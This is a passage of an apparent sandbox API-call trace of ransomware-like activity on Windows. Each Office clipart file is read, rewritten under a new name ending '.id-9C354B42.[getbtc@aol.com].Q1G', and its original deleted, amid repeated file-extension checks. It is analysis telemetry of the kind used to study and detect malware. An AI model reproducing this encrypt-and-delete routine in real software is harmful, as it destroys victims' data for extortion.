lpNewFilePointer=0x0) returned 1 [0251.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0251.941] GetLastError () returned 0x0 [0251.941] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x10f4, lpOverlapped=0x0) returned 1 [0251.942] WriteFile (in: hFile=0x398, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x1100, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x1100, lpOverlapped=0x0) returned 1 [0251.943] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0251.943] WriteFile (in: hFile=0x398, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0251.943] SetEndOfFile (hFile=0x398) returned 1 [0251.944] CloseHandle (hObject=0x398) returned 1 [0251.944] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.944] SetEndOfFile (hFile=0x3a8) returned 1 [0251.946] CloseHandle (hObject=0x3a8) returned 1 [0251.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0251.946] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf")) returned 1 [0251.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0251.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0251.947] lstrlenW (lpString=".doc") returned 4 [0251.947] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.947] lstrlenW (lpString=".docx") returned 5 [0251.947] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.947] lstrlenW (lpString=".pdf") returned 4 [0251.947] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.947] lstrlenW (lpString=".xls") returned 4 [0251.948] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.948] lstrlenW (lpString=".xlsx") returned 5 [0251.948] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.948] lstrlenW (lpString=".ppt") returned 4 [0251.948] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0251.948] lstrlenW (lpString=".zip") returned 4 [0251.948] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.948] lstrlenW (lpString=".rar") returned 4 [0251.948] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.948] lstrlenW (lpString=".bz2") returned 4 [0251.948] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.948] lstrlenW (lpString=".7z") returned 3 [0251.948] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0251.948] lstrlenW (lpString=".dbf") returned 4 [0251.948] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0251.948] lstrlenW (lpString=".1cd") returned 4 [0251.948] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0251.948] lstrlenW (lpString=".jpg") returned 4 [0251.948] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0251.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0251.948] lstrlenW (lpString=".doc") returned 4 [0251.948] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.948] lstrlenW (lpString=".docx") returned 5 [0251.948] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.948] lstrlenW (lpString=".pdf") returned 4 [0251.948] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.948] lstrlenW (lpString=".xls") returned 4 [0251.948] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.948] lstrlenW (lpString=".xlsx") returned 5 [0251.948] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.948] lstrlenW (lpString=".ppt") returned 4 [0251.949] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0251.949] lstrlenW (lpString=".zip") returned 4 [0251.949] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.949] lstrlenW (lpString=".rar") returned 4 [0251.949] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.949] lstrlenW (lpString=".bz2") returned 4 [0251.949] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.949] lstrlenW (lpString=".7z") returned 3 [0251.949] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0251.949] lstrlenW (lpString=".dbf") returned 4 [0251.949] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0251.949] lstrlenW (lpString=".1cd") returned 4 [0251.949] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0251.949] lstrlenW (lpString=".jpg") returned 4 [0251.949] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.949] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0251.949] lstrlenW (lpString="HH00688_.WMF") returned 12 [0251.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0251.950] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=7084) returned 1 [0251.950] CloseHandle (hObject=0x3a8) returned 1 [0251.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf")) returned 0x20 [0251.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0251.950] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.950] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0251.951] GetLastError () returned 0x0 [0251.951] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x1bac, lpOverlapped=0x0) returned 1 [0251.952] WriteFile (in: hFile=0x398, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x1bb0, lpOverlapped=0x0) returned 1 [0251.953] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0251.953] WriteFile (in: hFile=0x398, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0251.953] SetEndOfFile (hFile=0x398) returned 1 [0251.955] CloseHandle (hObject=0x398) returned 1 [0251.955] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.955] SetEndOfFile (hFile=0x3a8) returned 1 [0251.957] CloseHandle (hObject=0x3a8) returned 1 [0251.957] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0251.957] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf")) returned 1 [0251.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0251.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0251.958] lstrlenW (lpString=".doc") returned 4 [0251.958] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.958] lstrlenW (lpString=".docx") returned 5 [0251.958] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.958] lstrlenW (lpString=".pdf") returned 4 [0251.958] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.958] lstrlenW (lpString=".xls") returned 4 [0251.958] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.958] lstrlenW (lpString=".xlsx") returned 5 [0251.958] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.958] lstrlenW (lpString=".ppt") returned 4 [0251.958] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0251.958] lstrlenW (lpString=".zip") returned 4 [0251.958] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.958] lstrlenW (lpString=".rar") returned 4 [0251.958] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.958] lstrlenW (lpString=".bz2") returned 4 [0251.958] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.958] lstrlenW (lpString=".7z") returned 3 [0251.959] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0251.959] lstrlenW (lpString=".dbf") returned 4 [0251.959] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0251.959] lstrlenW (lpString=".1cd") returned 4 [0251.959] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0251.959] lstrlenW (lpString=".jpg") returned 4 [0251.959] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0251.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0251.959] lstrlenW (lpString=".doc") returned 4 [0251.959] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.959] lstrlenW (lpString=".docx") returned 5 [0251.959] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.959] lstrlenW (lpString=".pdf") returned 4 [0251.959] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.959] lstrlenW (lpString=".xls") returned 4 [0251.959] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.959] lstrlenW (lpString=".xlsx") returned 5 [0251.959] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.959] lstrlenW (lpString=".ppt") returned 4 [0251.959] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0251.959] lstrlenW (lpString=".zip") returned 4 [0251.959] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.959] lstrlenW (lpString=".rar") returned 4 [0251.959] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.959] lstrlenW (lpString=".bz2") returned 4 [0251.959] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.959] lstrlenW (lpString=".7z") returned 3 [0251.959] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0251.959] lstrlenW (lpString=".dbf") returned 4 [0251.960] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0251.960] lstrlenW (lpString=".1cd") returned 4 [0251.960] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0251.960] lstrlenW (lpString=".jpg") returned 4 [0251.960] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.960] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0251.960] lstrlenW (lpString="HH00693_.WMF") returned 12 [0251.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0251.960] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=7098) returned 1 [0251.960] CloseHandle (hObject=0x3a8) returned 1 [0251.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf")) returned 0x20 [0251.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0251.961] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.961] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0251.962] GetLastError () returned 0x0 [0251.962] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x1bba, lpOverlapped=0x0) returned 1 [0251.963] WriteFile (in: hFile=0x398, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x1bc0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x1bc0, lpOverlapped=0x0) returned 1 [0251.964] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0251.964] WriteFile (in: hFile=0x398, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0251.964] SetEndOfFile (hFile=0x398) returned 1 [0251.964] CloseHandle (hObject=0x398) returned 1 [0251.964] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.964] SetEndOfFile (hFile=0x3a8) returned 1 [0251.966] CloseHandle (hObject=0x3a8) returned 1 [0251.966] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0251.967] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf")) returned 1 [0251.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0251.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0251.967] lstrlenW (lpString=".doc") returned 4 [0251.967] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.967] lstrlenW (lpString=".docx") returned 5 [0251.967] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.967] lstrlenW (lpString=".pdf") returned 4 [0251.967] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.967] lstrlenW (lpString=".xls") returned 4 [0251.967] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.967] lstrlenW (lpString=".xlsx") returned 5 [0251.967] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.967] lstrlenW (lpString=".ppt") returned 4 [0251.967] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0251.968] lstrlenW (lpString=".zip") returned 4 [0251.968] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.968] lstrlenW (lpString=".rar") returned 4 [0251.968] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.968] lstrlenW (lpString=".bz2") returned 4 [0251.968] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.968] lstrlenW (lpString=".7z") returned 3 [0251.968] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0251.968] lstrlenW (lpString=".dbf") returned 4 [0251.968] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0251.968] lstrlenW (lpString=".1cd") returned 4 [0251.968] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0251.968] lstrlenW (lpString=".jpg") returned 4 [0251.968] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0251.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0251.968] lstrlenW (lpString=".doc") returned 4 [0251.968] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.968] lstrlenW (lpString=".docx") returned 5 [0251.968] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.968] lstrlenW (lpString=".pdf") returned 4 [0251.968] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.968] lstrlenW (lpString=".xls") returned 4 [0251.968] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.968] lstrlenW (lpString=".xlsx") returned 5 [0251.968] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.968] lstrlenW (lpString=".ppt") returned 4 [0251.968] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0251.968] lstrlenW (lpString=".zip") returned 4 [0251.968] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.968] lstrlenW (lpString=".rar") returned 4 [0251.969] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.969] lstrlenW (lpString=".bz2") returned 4 [0251.969] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.969] lstrlenW (lpString=".7z") returned 3 [0251.969] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0251.969] lstrlenW (lpString=".dbf") returned 4 [0251.969] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0251.969] lstrlenW (lpString=".1cd") returned 4 [0251.969] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0251.969] lstrlenW (lpString=".jpg") returned 4 [0251.969] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.969] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0251.969] lstrlenW (lpString="HH01013_.WMF") returned 12 [0251.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0251.970] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=2848) returned 1 [0251.970] CloseHandle (hObject=0x398) returned 1 [0251.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf")) returned 0x20 [0251.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0251.971] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.971] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0251.971] GetLastError () returned 0x0 [0251.971] ReadFile (in: hFile=0x398, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0xb20, lpOverlapped=0x0) returned 1 [0251.973] 